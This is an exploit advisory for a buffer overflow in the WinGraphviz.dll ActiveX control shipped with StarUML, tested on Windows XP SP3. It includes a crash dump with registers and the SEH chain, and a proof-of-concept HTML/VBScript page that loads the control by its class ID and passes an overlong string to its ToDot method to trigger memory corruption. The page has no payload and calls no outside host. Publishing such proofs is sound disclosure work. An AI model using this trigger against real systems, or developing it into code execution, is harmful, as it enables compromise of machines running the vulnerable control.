# Exploit Title: StarUML WinGraphviz.dll ActiveX buffer overflow vulnerability
# Date: 03.8.2013
# Exploit Author: d3b4g
# Tested on: Windows XP SP3
About StarUML
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StarUML is an open source project to develop fast, flexible, extensible, featureful, and freely-available UML/MDA platform running on Win32 platform.
Exception Code: ACCESS_VIOLATION
Disasm: D98439 MOV DL,[EBP] (WinGraphviz.DLL)
Seh Chain:
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1 6B47D959 VBSCRIPT.dll
2 772FE115 ntdll.dll
Called From Returns To
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Registers:
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EIP 00D98439 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EAX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EBX 0020D70A -> 00000038
ECX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes EDX 000003FF
EDI 000003FE
ESI 00000000
EBP 00000000
ESP 0020D618 -> 00000059
The example code below triggers the vulnerability
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<object classid='clsid:1F25D86C-95BC-4E33-A177-EE8DABEF8B04' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\StarUML\WinGraphviz.dll"
prototype = "Function ToDot ( ByVal Source As String ) As String"
memberName = "ToDot"
progid = "WINGRAPHVIZLib.NEATO"
argCount = 1
arg1="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\"
target.ToDot arg1
</script>
